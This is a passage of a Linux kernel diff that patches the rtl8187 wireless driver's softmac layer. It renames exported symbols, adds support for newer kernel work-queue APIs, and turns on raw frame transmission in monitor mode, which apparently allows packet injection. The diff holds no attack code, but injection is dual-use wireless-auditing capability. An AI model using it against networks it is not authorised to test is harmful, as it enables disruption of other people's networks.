IEEE80211_CCK_RATE_11MB; - + }else ieee->current_network.rates_len = 0; - + if(ieee->modulation & IEEE80211_OFDM_MODULATION){ ieee->current_network.rates_ex_len = 8; - + ieee->current_network.rates_ex[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; ieee->current_network.rates_ex[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_9MB; ieee->current_network.rates_ex[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_12MB; @@ -1882,44 +1907,44 @@ ieee->current_network.rates_ex[5] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; ieee->current_network.rates_ex[6] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; ieee->current_network.rates_ex[7] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + ieee->rate = 540; }else{ ieee->current_network.rates_ex_len = 0; ieee->rate = 110; } - + ieee->current_network.atim_window = 0; ieee->current_network.capability = WLAN_CAPABILITY_IBSS; if(ieee->short_slot) ieee->current_network.capability |= WLAN_CAPABILITY_SHORT_SLOT; - + } - + ieee->state = IEEE80211_LINKED; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - - notify_wx_assoc_event(ieee); - - ieee80211_start_send_beacons(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + + ieee80211_start_send_beacons_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,8 +1952,8 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we * have just cheked it and we are going to enable scan. @@ -1937,41 +1962,49 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); - + if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); - + ieee80211_reset_queue_rtl7(ieee); + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - + ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) { + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif unsigned long flags; - + down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; - + if(ieee->state != IEEE80211_ASSOCIATING_RETRY) goto exit; - - /* until we do not set the state to IEEE80211_NOLINK + + /* until we do not set the state to IEEE80211_NOLINK * there are no possibility to have someone else trying * to start an association procdure (we get here with * ieee->state = IEEE80211_ASSOCIATING). @@ -1981,122 +2014,120 @@ * RX path works with ieee->lock held so there are no * problems. If we are still disassociated then start a scan. * the lock here is necessary to ensure no one try to start - * an association procedure when we have just checked the + * an association procedure when we have just checked the * state and we are going to start the scan. */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); exit: up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; - + struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_probe_resp(ieee, broadcast_addr); - - if (!skb) + + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); + + if (!skb) return NULL; - + b = (struct ieee80211_probe_response *) skb->data; b->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_BEACON); - + return skb; - + } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_get_beacon_(ieee); - if(!skb) + + skb = ieee80211_get_beacon__rtl7(ieee); + if(!skb) return NULL; - - b = (struct ieee80211_probe_response *) skb->data; + + b = (struct ieee80211_probe_response *) skb->data; b->header.seq_ctrl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; - + ieee->proto_started = 0; - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + del_timer_sync(&ieee->associate_timer); - cancel_delayed_work(&ieee->associate_retry_wq); - - ieee80211_stop_scan(ieee); + cancel_delayed_work(&ieee->associate_retry_wq); - ieee80211_disassociate(ieee); + ieee80211_stop_scan_rtl7(ieee); + + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; - + ieee->proto_started = 1; - + if (ieee->current_network.channel == 0){ do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) return; /* no channel found */ - + }while(!ieee->channel_map[ch]); - + ieee->current_network.channel = ch; } - + if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2107,30 +2138,27 @@ * attempts does not fail just because the user provide the essid * and the nic is still checking for the AP MAC ?? */ - + if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); - + ieee->state = IEEE80211_NOLINK; ieee->sync_scan_hurryup = 0; ieee->seq_ctrl = 0; - + ieee->assoc_id = 0; ieee->queue_stop = 0; ieee->scanning = 0; @@ -2142,66 +2170,75 @@ ieee->rate = 3; ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - - init_mgmt_queue(ieee); + + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; ieee->scan_timer.function = ieee80211_softmac_scan_cb; #endif ieee->tx_pending.txb = NULL; - + init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; - + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; + #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); -#else +#else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); - + spin_lock_init(&ieee->mgmt_tx_lock); spin_lock_init(&ieee->beacon_lock); - + tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); - + del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); destroy_workqueue(ieee->wq); - + up(&ieee->wx_sem); } -/******************************************************** +/******************************************************** * Start of WPA code. * * this is stolen from the ipw2200 driver * ********************************************************/ - -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) + +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2210,19 +2247,19 @@ return 0; } - -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) + +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { - + int ret = 0; switch (command) { @@ -2231,7 +2268,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2280,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,16 +2304,16 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { - + struct ieee80211_security sec = { .flags = SEC_AUTH_MODE, }; @@ -2300,13 +2337,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2388,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,11 +2405,11 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; - + struct ieee80211_crypto_ops *ops; struct ieee80211_crypt_data **crypt; @@ -2407,7 +2444,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2458,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl7"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2479,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2562,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2537,7 +2574,7 @@ ret = -EINVAL; goto out; } - + param = (struct ieee_param *)kmalloc(p->length, GFP_KERNEL); if (param == NULL){ ret = -ENOMEM; @@ -2552,20 +2589,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2581,11 +2618,11 @@ kfree(param); out: up(&ieee->wx_sem); - + return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2634,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac_wx.c rtl8187_rawtx/ieee80211/ieee80211_softmac_wx.c --- rtl8187_orig/ieee80211/ieee80211_softmac_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_softmac_wx.c 2007-05-26 10:38:07.000000000 +0200 @@ -1,7 +1,7 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Some pieces of code might be stolen from ipw2100 driver @@ -18,23 +18,23 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { - 2412, 2417, 2422, 2427, - 2432, 2437, 2442, 2447, - 2452, 2457, 2462, 2467, - 2472, 2484 +const long ieee80211_wlan_frequencies_rtl7[] = { + 2412, 2417, 2422, 2427, + 2432, 2437, 2442, 2447, + 2452, 2457, 2462, 2467, + 2472, 2484 }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; struct iw_freq *fwrq = & wrqu->freq; down(&ieee->wx_sem); - - if(ieee->iw_mode == IW_MODE_INFRA){ + + if(ieee->iw_mode == IW_MODE_INFRA){ ret = -EOPNOTSUPP; goto out; } @@ -45,31 +45,31 @@ fwrq->m <= (int) 2.487e8)) { int f = fwrq->m / 100000; int c = 0; - - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; - + /* hack to fall through */ fwrq->e = 0; fwrq->m = c + 1; } } - - if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ + + if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ ret = -EOPNOTSUPP; goto out; - + }else { /* Set the channel */ - - + + ieee->current_network.channel = fwrq->m; ieee->set_chan(ieee->dev, ieee->current_network.channel); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -88,110 +88,110 @@ if (ieee->current_network.channel == 0) return -1; - + fwrq->m = ieee->current_network.channel; fwrq->e = 0; - + return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - unsigned long flags; - + unsigned long flags; + wrqu->ap_addr.sa_family = ARPHRD_ETHER; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->wap_set == 0) - + memset(wrqu->ap_addr.sa_data, 0, ETH_ALEN); else - memcpy(wrqu->ap_addr.sa_data, + memcpy(wrqu->ap_addr.sa_data, ieee->current_network.bssid, ETH_ALEN); - + spin_unlock_irqrestore(&ieee->lock, flags); - + return 0; } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) { - + int ret = 0; u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; - + + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - - struct sockaddr *temp = (struct sockaddr *)awrq; - + + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; goto out; } - + if (temp->sa_family != ARPHRD_ETHER){ ret = -EINVAL; goto out; } - + if (ifup) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* just to avoid to give inconsistent infos in the - * get wx method. not really needed otherwise + * get wx method. not really needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - - memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); + + memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); ieee->wap_set = memcmp(temp->sa_data, zero,ETH_ALEN)!=0; - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (ifup) - ieee80211_start_protocol(ieee); - + ieee80211_start_protocol_rtl7(ieee); + out: up(&ieee->wx_sem); return ret; } - - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - - /* We want avoid to give to the user inconsistent infos*/ + + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->current_network.ssid[0] == '\0' || - ieee->current_network.ssid_len == 0){ + ieee->current_network.ssid_len == 0){ ret = -1; goto out; } - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->ssid_set == 0){ ret = -1; @@ -204,59 +204,76 @@ out: spin_unlock_irqrestore(&ieee->lock, flags); - + return ret; - + } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { u32 target_rate = wrqu->bitrate.value; - + ieee->rate = target_rate/100000; //FIXME: we might want to limit rate also in management protocols. - return 0; + return 0; } -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + wrqu->bitrate.value = ieee->rate * 100000; - + return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - + short prev = ieee->raw_tx; + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + if (wrqu->mode == ieee->iw_mode) goto out; - + if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } - + if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); + } + + if(ieee->iw_mode == IW_MODE_MONITOR) + { + ieee->raw_tx = 1; + if(prev == 0 && ieee->raw_tx){ + if (ieee->data_hard_resume) + ieee->data_hard_resume(ieee->dev); + + netif_carrier_on(ieee->dev); + } + + netif_carrier_on(ieee->dev); + } + else + { + ieee->raw_tx = 0; } out: @@ -264,120 +281,132 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short chan; chan = ieee->current_network.channel; - + netif_carrier_off(ieee->dev); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - - ieee80211_start_scan_syncro(ieee); - + + ieee80211_start_scan_syncro_rtl7(ieee); + ieee->set_chan(ieee->dev, chan); - + ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); - + ieee80211_start_send_beacons_rtl7(ieee); + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); - + } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; - + down(&ieee->wx_sem); - - if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ + + if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ ret = -1; goto out; } - + if ( ieee->state == IEEE80211_LINKED){ queue_work(ieee->wq, &ieee->wx_sync_scan_wq); /* intentionally forget to up sem */ return 0; } - + out: up(&ieee->wx_sem); return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { - + int ret=0,len; short proto_started; unsigned long flags; - + 